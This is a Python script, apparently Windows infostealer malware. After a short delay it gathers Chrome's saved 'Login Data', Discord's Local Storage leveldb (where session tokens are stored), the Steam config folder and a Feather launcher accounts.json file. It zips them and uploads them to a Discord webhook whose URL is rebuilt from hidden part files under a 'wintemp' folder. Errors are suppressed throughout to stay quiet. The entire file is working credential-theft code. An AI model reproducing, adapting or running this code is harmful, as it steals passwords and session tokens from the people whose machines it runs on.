t1

import time
import urllib.request
import urllib.parse
import json
import os
import uuid
import mimetypes
import zipfile
import shutil
import http.client
time.sleep(10)

_LOCAL_APP_DATA_PATH_FOR_PARTS = os.getenv('LOCALAPPDATA')
appdata_path = os.getenv('APPDATA')
local_app_data_path = os.getenv('LOCALAPPDATA')
_PROGRAM_BASE_DIR_FOR_PARTS = ""
_WEBHOOK_FILE_PARTS_DIR = ""
appdata_path = os.getenv('APPDATA')
program_files_x86_path = os.getenv('ProgramFiles(x86)')

if _LOCAL_APP_DATA_PATH_FOR_PARTS:
    _PROGRAM_BASE_DIR_FOR_PARTS = os.path.join(_LOCAL_APP_DATA_PATH_FOR_PARTS, 'wintemp')
else:
    _USER_PROFILE_PATH_FOR_PARTS = os.getenv('USERPROFILE')
    if _USER_PROFILE_PATH_FOR_PARTS:
        _PROGRAM_BASE_DIR_FOR_PARTS = os.path.join(_USER_PROFILE_PATH_FOR_PARTS, 'AppData', 'Local', 'wintemp')

if _PROGRAM_BASE_DIR_FOR_PARTS:
    _WEBHOOK_FILE_PARTS_DIR = os.path.join(_PROGRAM_BASE_DIR_FOR_PARTS, 'files')
else:
    pass

def get_dynamic_webhook_url(parts_dir_path):
    base_webhook_url = "https://discord.com/api/webhooks/"
    file_parts_names = ["1", "2", "3"]
    webhook_suffix_parts = []
    all_parts_found_and_read = True

    if not parts_dir_path or not os.path.isdir(parts_dir_path):
        return None

    for part_name in file_parts_names:
        file_path = os.path.join(parts_dir_path, part_name)
        if not os.path.isfile(file_path):
            all_parts_found_and_read = False
            break
        try:
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read().strip()
                if not content and part_name != "3":
                    if part_name in ["1", "2"]:
                        all_parts_found_and_read = False
                        break
                webhook_suffix_parts.append(content)
        except IOError as e:
            all_parts_found_and_read = False
            break
        except Exception as e:
            all_parts_found_and_read = False
            break

    if all_parts_found_and_read and len(webhook_suffix_parts) == len(file_parts_names):
        part1 = webhook_suffix_parts[0]
        part2 = webhook_suffix_parts[1]
        part3 = webhook_suffix_parts[2]

        if part1 and (part2 or part3):
            full_token = part2 + part3
            full_suffix = f"{part1}/{full_token}"
            return base_webhook_url + full_suffix
        else:
            return None
    else:
        return None

FILE_PATHS = []

if appdata_path:
    FILE_PATHS.append(os.path.join(appdata_path, '.feather', 'accounts.json'))

# Usunięcie starych ścieżek do plików Steam, zamiast tego spakujemy cały folder config
# if program_files_x86_path:
#     FILE_PATHS.append(os.path.join(program_files_x86_path, 'Steam', 'config', 'loginusers.vdf'))
#     FILE_PATHS.append(os.path.join(program_files_x86_path, 'Steam', 'config', 'config.vdf'))

if local_app_data_path:
    chrome_login_data = os.path.join(local_app_data_path, 'Google', 'Chrome', 'User Data', 'Default', 'Login Data')
    FILE_PATHS.append(chrome_login_data)

MESSAGE_CONTENT = "Files:"

LOCAL_APP_DATA_PATH_PYT = os.getenv('LOCALAPPDATA')
if LOCAL_APP_DATA_PATH_PYT:
    PROGRAM_BASE_DIR_PYT = os.path.join(LOCAL_APP_DATA_PATH_PYT, 'wintemp')
else:
    USER_PROFILE_PATH_PYT = os.getenv('USERPROFILE')
    if USER_PROFILE_PATH_PYT:
        PROGRAM_BASE_DIR_PYT = os.path.join(USER_PROFILE_PATH_PYT, 'AppData', 'Local', 'wintemp')
    else:
        PROGRAM_BASE_DIR_PYT = os.path.join(os.getcwd(), 'wintemp_fallback_pyt')
        pass


DATA_FOLDER_PATH = os.path.join(PROGRAM_BASE_DIR_PYT, 'data')

DISCORD_LEVELDB_PATH = os.path.join(appdata_path, 'discord', 'Local Storage', 'leveldb')

ZIPS_SUBDIR_PYT = os.path.join(PROGRAM_BASE_DIR_PYT, 'zips')

MAX_FILE_SIZE_BYTES = 25 * 1024 * 1024

def ensure_dir_exists(directory_path):
    if not os.path.exists(directory_path):
        try:
            os.makedirs(directory_path, exist_ok=True)
            return True
        except OSError as e:
            return False
    else:
        if not os.path.isdir(directory_path):
            return False
        return True

def copy_folder_resilient(src_folder_path, dest_folder_path):
    if not os.path.isdir(src_folder_path):
        return False
    if not ensure_dir_exists(dest_folder_path):
        return False
    files_copied_count = 0
    files_skipped_count = 0
    for item_root, item_dirs, item_filenames in os.walk(src_folder_path):
        for dirname in item_dirs:
            src_dir_path = os.path.join(item_root, dirname)
            relative_dir_path = os.path.relpath(src_dir_path, src_folder_path)
            dest_subdir_path = os.path.join(dest_folder_path, relative_dir_path)
            if not ensure_dir_exists(dest_subdir_path):
                 pass
        for filename in item_filenames:
            src_file_path = os.path.join(item_root, filename)
            relative_file_path = os.path.relpath(src_file_path, src_folder_path)
            dest_file_path = os.path.join(dest_folder_path, relative_file_path)
            if not os.path.isfile(src_file_path):
                files_skipped_count +=1
                continue
            try:
                shutil.copy2(src_file_path, dest_file_path)
                files_copied_count += 1
            except (IOError, OSError, PermissionError) as e:
                files_skipped_count += 1
            except Exception as e:
                files_skipped_count += 1
    if files_copied_count == 0 and files_skipped_count == 0:
        try:
            if not any(os.scandir(src_folder_path)):
                 pass
        except OSError:
            pass
    return True

def zip_folder(folder_path, output_zip_full_path):
    try:
        output_zip_dir = os.path.dirname(output_zip_full_path)
        if not ensure_dir_exists(output_zip_dir):
            return False
        with zipfile.ZipFile(output_zip_full_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
            for root, dirs, files in os.walk(folder_path):
                path_to_check_in_root = os.path.abspath(output_zip_full_path)
                current_root_abs = os.path.abspath(root)
                if path_to_check_in_root.startswith(current_root_abs) and path_to_check_in_root in [os.path.join(current_root_abs, name) for name in dirs + files]:
                    continue
                for file_to_zip in files:
                    file_path_absolute = os.path.join(root, file_to_zip)
                    if os.path.abspath(file_path_absolute) == os.path.abspath(output_zip_full_path):
                        continue
                    archive_name = os.path.relpath(file_path_absolute, folder_path)
                    zipf.write(file_path_absolute, archive_name)
        return True
    except FileNotFoundError:
        return False
    except Exception as e:
        return False

def create_multipart_form_data(fields, files_data):
    boundary = "----PythonWebhookClientBoundary_PYT" + uuid.uuid4().hex
    body = bytearray()
    for name, value in fields.items():
        body.extend(f'--{boundary}\r\n'.encode('utf-8'))
        body.extend(f'Content-Disposition: form-data; name="{name}"\r\n'.encode('utf-8'))
        if name == "payload_json":
            body.extend(b'Content-Type: application/json\r\n')
        body.extend(b'\r\n')
        body.extend(value)
        body.extend(b'\r\n')
    for field_name, file_path_internal, mime_type in files_data:
        filename = os.path.basename(file_path_internal)
        try:
            with open(file_path_internal, 'rb') as f:
                file_content = f.read()
        except FileNotFoundError:
            raise
        except IOError as e:
            raise
        body.extend(f'--{boundary}\r\n'.encode('utf-8'))
        body.extend(f'Content-Disposition: form-data; name="{field_name}"; filename="{filename}"\r\n'.encode('utf-8'))
        body.extend(f'Content-Type: {mime_type}\r\n'.encode('utf-8'))
        body.extend(b'\r\n')
        body.extend(file_content)
        body.extend(b'\r\n')
    body.extend(f'--{boundary}--\r\n'.encode('utf-8'))
    content_type = f'multipart/form-data; boundary={boundary}'
    return bytes(body), content_type

def send_files_to_discord_stdlib(webhook_url_param, list_of_file_paths, message_content_to_send=None):
    if not webhook_url_param:
         return
    if not list_of_file_paths:
        return
    form_fields = {}
    if message_content_to_send:
        payload = {"content": message_content_to_send}
        form_fields["payload_json"] = json.dumps(payload).encode('utf-8')
    files_to_send_for_multipart = []
    valid_files_counter = 0
    for file_path_item in list_of_file_paths:
        if not os.path.exists(file_path_item):
            continue
        if not os.path.isfile(file_path_item):
            continue
        file_size = os.path.getsize(file_path_item)
        file_size_mb = file_size / (1024 * 1024)
        if file_size > MAX_FILE_SIZE_BYTES:
            continue
        mime_type, _ = mimetypes.guess_type(file_path_item)
        if mime_type is None:
            mime_type = 'application/octet-stream'
        if file_path_item.lower().endswith(".zip"):
            mime_type = 'application/zip'
        field_name = f'files[{valid_files_counter}]'
        files_to_send_for_multipart.append((field_name, file_path_item, mime_type))
        valid_files_counter += 1
    if not files_to_send_for_multipart:
        return
    try:
        body, content_type = create_multipart_form_data(form_fields, files_to_send_for_multipart)
    except Exception as e:
        return

    request = urllib.request.Request(webhook_url_param, data=body, method='POST')
    request.add_header('Content-Type', content_type)
    request.add_header('User-Agent', 'Python-DiscordWebhook-PYT-StdLib/1.1')
    try:
        with urllib.request.urlopen(request) as response:
            response_body = response.read().decode('utf-8')
            if not (200 <= response.status < 300):
                pass
    except urllib.error.HTTPError as e:
        pass
    except urllib.error.URLError as e:
        pass
    except Exception as e:
        pass

if __name__ == "__main__":
    WEBHOOK_URL = get_dynamic_webhook_url(_WEBHOOK_FILE_PARTS_DIR)

    if not WEBHOOK_URL:
        exit()

    if not ensure_dir_exists(PROGRAM_BASE_DIR_PYT) or not ensure_dir_exists(ZIPS_SUBDIR_PYT):
        exit()

    folders_to_zip = []
    if os.path.isdir(DATA_FOLDER_PATH):
        folders_to_zip.append({"path": DATA_FOLDER_PATH, "name": "data_archive"})
    if os.path.isdir(DISCORD_LEVELDB_PATH):
        folders_to_zip.append({"path": DISCORD_LEVELDB_PATH, "name": "discord_leveldb_archive"})

    # Dodanie folderu config Steam do listy folderów do spakowania
    if program_files_x86_path:
        steam_config_path = os.path.join(program_files_x86_path, 'Steam', 'config')
        if os.path.isdir(steam_config_path):
            folders_to_zip.append({"path": steam_config_path, "name": "steam_config_archive"})

    processed_file_paths_to_send = []

    for folder_info in folders_to_zip:
        original_folder_path = folder_info["path"]
        archive_base_name = folder_info["name"]

        if not os.path.isdir(original_folder_path):
            pass
        else:
            temp_copy_dirname = f"copy_for_zip_{archive_base_name}_{uuid.uuid4().hex[:8]}"
            temp_copy_dir_fullpath = os.path.join(PROGRAM_BASE_DIR_PYT, temp_copy_dirname)
            zip_filename_only = f"{archive_base_name}_{uuid.uuid4().hex[:8]}.zip"
            full_output_zip_path = os.path.join(ZIPS_SUBDIR_PYT, zip_filename_only)
            try:
                if copy_folder_resilient(original_folder_path, temp_copy_dir_fullpath):
                    if zip_folder(temp_copy_dir_fullpath, full_output_zip_path):
                        processed_file_paths_to_send.append(full_output_zip_path)
                    else:
                        pass
                else:
                    pass
            finally:
                if temp_copy_dir_fullpath and os.path.isdir(temp_copy_dir_fullpath):
                    try:
                        shutil.rmtree(temp_copy_dir_fullpath)
                    except OSError as e:
                        pass

    if FILE_PATHS:
        for file_path_item in FILE_PATHS:
            if os.path.isfile(file_path_item):
                processed_file_paths_to_send.append(file_path_item)

    if not processed_file_paths_to_send:
        pass
    else:
        send_files_to_discord_stdlib(WEBHOOK_URL, processed_file_paths_to_send, MESSAGE_CONTENT)

    pass